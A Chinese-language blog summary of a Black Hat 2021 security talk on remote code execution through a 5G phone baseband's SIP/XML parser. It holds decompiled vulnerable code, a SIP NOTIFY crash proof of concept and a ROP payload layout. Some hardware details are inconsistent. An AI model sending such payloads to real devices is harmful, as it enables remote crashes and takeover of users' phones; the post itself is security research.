“入侵5G手机”Black Hat USA 2021：通过无线基带-针对5G智能手机的RCE远程代码执行攻击白皮书

Posted 2021-11-05 鸿渐之翼

Over The Air Baseband Exploit: Gaining Remote Code Execution on 5G Smartphones
通过无线基带-针对5G智能手机的RCE远程代码执行攻击白皮书

致谢：腾讯科恩安全实验室

Keen Security Lab of Tencent
Marco Grassi (@marcograss), Xingyu Chen (@0xKira233)

研究5G网络安全的背景：

近年来，我们看到5G网络被广泛采用，包括消费设备、物联网和关键基础设施。
对连接到5G网络的设备数量的估计各不相同，但统计数据显示，这些设备在市场上占有很大的份额。

为了加入5G网络，每一个设备都必须配备5G调制解调器（5G modem），负责调制信号和实施无线电协议。该组件通常也称为基带。

保护这些组件的安全非常重要，因为它们处理来自无线网络的不可信数据，这使得它们对远程攻击者特别有吸引力。

在我们之前的工作中，我们检查了上一代网络（如2G、3G或4G）的安全调制解调器，并实现了RCE攻击·。

本文将探讨5G网络发生了哪些变化，在安全方面有哪些改进，哪些没有。此次将演示在新一代5G智能手机上完成RCE是有可能的。

近些年来5G网络安全是完全没有被设计到的领域，白皮书提供了两篇文章供作为背景知识参考：
1.Huawei modem remote code execution
2.pwn2own Amat Cama work on Samsung Shannon

研究准备方法：

寻找目标：
购买了市面上的不同5G智能手机
攻击范围：
完成一次RCE攻击
漏洞挖掘范围：
不访问任何商业5G基站的情况下触发漏洞
5G设备的区别：
非独立模式（NSA）：该模式结合了新的5G信号，并利用了4G网络的其他组件。
独立模式（SA）：该模式完全实现并使用5G新无线信号与5G网络协议。

测试手机型号：

Vivo S6 5G手机 SA模板 骁龙980 三星Shannon基带

审计范围与漏洞挖掘

在审计过程中发现了stack cookie缓解保护又称为Stack Canary，这是一种经典的缓冲区溢出的保护机制.
Stack Cannary通过在栈中设置标识检查输入的数据是否破坏栈，只要绕过Stack Cannary保护就能完成攻击。
在5G设备中仍然会出现“栈溢出”这种低级毛病，最有趣的不是栈溢出环节，而是分析基带中的XML程序，XML解析器负责解析从网络到设备调制解调器的IMS消息。
其中，在5G与4G通信中会通过IMS建立联系,基带就是IMS的客户端，它会处理VoLTE与VoNR信息，所以一定会传输有关SIP的信息,IMS服务端通过SIP信息与modem进行数据传输。
IMS是4G和5G网络的首选架构，在其上构建交互式呼叫，我们稍后将了解这对本研究的重要性。

基带它是一个IMS客户端，负责处理VOLT、VoNR消息，因此它必须能够处理SIP消息，IMS服务器使用SIP消息与调制解调器通信。
下面是message示例：

SIP是一种基于文本、类似HTTP的协议，包括头和内容。接收器（在本例中为基带）需要解析来自服务器的消息。

漏洞

我们的OTA远程代码执行错误位于基带的IMS部分。解析SIP协议消息的XML内容时，它将调用函数IMSPL_XmlGetNextTagName
这个调制解调器没有调试符号或信息，因此所有函数名、类型和函数签名都可以从日志字符串手动恢复，也可以通过反向工程恢复。这个函数将解析src中的XML标记，并将其名称复制到dst，例如，把“meta”复制到缓冲区中。

<meta name=“viewport”content=“width=device width，initial scale=1”>

下面这个函数在寻找结束标志跳过一些特殊字符如：’/’’>’?’

函数没有做任何安全检测，可以完成任意call与缓冲区溢出。
通过IMSPL_XmlGetNextTagName我们寻找到有许多可以进行call的地方,由于缓冲区是从OTA消息中提取的，因此它们中的大多数都易受攻击。
我们选择栈溢出是可靠的，没有stack canary 保护，因此我们可以简单地完成缓冲区溢出，控制存储在栈上的返回地址，并执行我们的shellcode。
这是溢出的函数IMSPL_XmlParser_ContactLstDecode

int	IMSPL_XmlParser_ContactLstDecode(int  *a1,  int  *a2)  {
	unsigned int8 *v4; // r0
	int v5;	// r1
	log_info_s *v7;	// [sp+0h] [bp-98h] BYREF
	int v8;	// [sp+4h] [bp-94h]
	unsigned int8 *v9; // [sp+8h] [bp-90h] BYREF
	int  v10;	//  [sp+Ch]  [bp-8Ch]  BYREF
	char v11[136];	// [sp+10h] [bp-88h] BYREF
	
	bzero(v11, 100);
	v10 = 0;
	v4 = (unsigned int8 *)*a1;
	v8 = 10597;
	v9 = v4;
	//  ——————%s———————-
	v7  =  &log_struct_4380937c;
	log_0x418ffa6c(&v7,  ”IMSPL_XmlParser_ContactLstDecode”,  -20071784);
if  (IMSPL_XmlGetNextTagName((char  *)&v9,  v11)  !=  1)  {
	LABEL_8:
	*a1 = (int)v9;
	v8 = 10597;
	//  Function  END
	v7  =  &log_struct_43809448;
	log_0x418ffa6c(&v7,  -20071784);
	return 1;
		}
//  omitted  code	}

当我们观察到char v11[136]; v11变量在栈上有100byte大小的缓冲区可以溢出
我们同样找到了相似的函数IMSPL_XmlParser_RegLstDecode
IMSPL_XmlParser_ContElemChildNodeDecode 等。
根据以上函数的名字我们可以推测，我们可以完成一次ROP链攻击
MSPL_XmlParser_RegInfoDecode -> IMSPL_XmlParser_RegInfoElemDecode ->
IMSPL_XmlParser_RegLstDecode->
IMSPL_XmlParser_RegistratonElemDecode->
IMSPL_XmlParser_ContactLstDecode
如果payload通过SIP协议中的NOTIFY信息发送，可以造成基带崩溃。由于函数find_tag_end里面对一些字符的黑名单，
“\\x00\\x09\\x0a\\x0d\\x20\\x2f\\x3e\\x3f”，所以我们在构建ROP链
不能利用有用的gadgets
下面是使基带崩溃的POC不能完成攻击

NOTIFY  sip:404456666666666@192.168.101.2:5060  SIP/2.0
	Via:  SIP/2.0/TCP  172.18.0.12;branch=z9hG4bK5829.b8e4601b3f6e281818a8a878daee5112.0
	Via:  SIP/2.0/UDP
172.18.0.14:6060;branch=z9hG4bK5829.c1534326000000000000000000000000.0
	To:  <sip:666666>;tag=31f5ed9f
	From:  <sip:@666666>;tag=facfaba04ffdc638bb119e5faba08da6-3a20000
	CSeq:  4  NOTIFY
	Call-ID:  85bcaa29686a87fe@192.168.101.2
	Content-Length:  1719
	User-Agent:  Kamailio  S-CSCF
	Contact:  <sip:scscf.ims.mnc045.mcc404.3gppnetwork.org:6060>
	Event:  reg
	Max-Forwards:  69
	Subscription-State:  active;expires=600000
	Content-Type:  application/reginfo+xml
	<?xml  version=”1.0”?>
	<reginfo  xmlns=”urn:ietf:params:xml:ns:reginfo”  version=”2”  state=”full”>
	<registration  aor=”tel:666666”  id=”0x7f970dea8570”  state=”active”>
	<contact  id=”0x7f970dea7710”  state=”active”  event=”registered”  expires=”599996” q=”0.000”>	<uri>sip:404456666666666@192.168.101.2:5060;alias=192.168.101.2~49214~2</uri>
	<unknown-param
name=”+sip.instance”>”&lt;urn:gsma:imei:86044804-970539-0&gt;”</unknown-param>
	<unknown-param  name=”+g.3gpp.smsip”></unknown-param>
	<unknown-param  name=”video”></unknown-param>	<unknown-param  name=”+g.3gpp.icsi-ref”>”urn%3Aurn-7%3A3gpp-service.ims.icsi.mmtel ”</unknown-param>
	</contact>
	</registration>
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  ⌋   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA         AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ⌋  payload</AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ⌋       AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ⌋          AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ⌋
</reginfo>

在ROP链执行以后，基带仍然是完好无损的，我们可以更换一个更好的位置进行溢出，例如标签

<?xml  version=”1.0”?>
	<reginfo  xmlns=”urn:ietf:params:xml:ns:reginfo”  version=”2”  state=”full”>
	<registration  aor=”tel:666666”  id=”0x7fe072423570”  state=”active”>
	<contact  id=”0x7fe072422710”  state=”active”  event=”registered”  expires=”599996” q=”0.000”>
AAAAAAAAAAAAAAAAAAAAAA1ABC2ABC3ABC4ABC5ABC6ABC7ABC8ABCRop-chain-starts-here>test</haha
	</contact>
	</registration>
	</reginfo>

Payload的结构如下：

在栈上Payload是从100byte的’A’开始，紧接着栈上保存了R4-R11。真正的ROP链是为了从栈上复制shellcode然后执行shellcode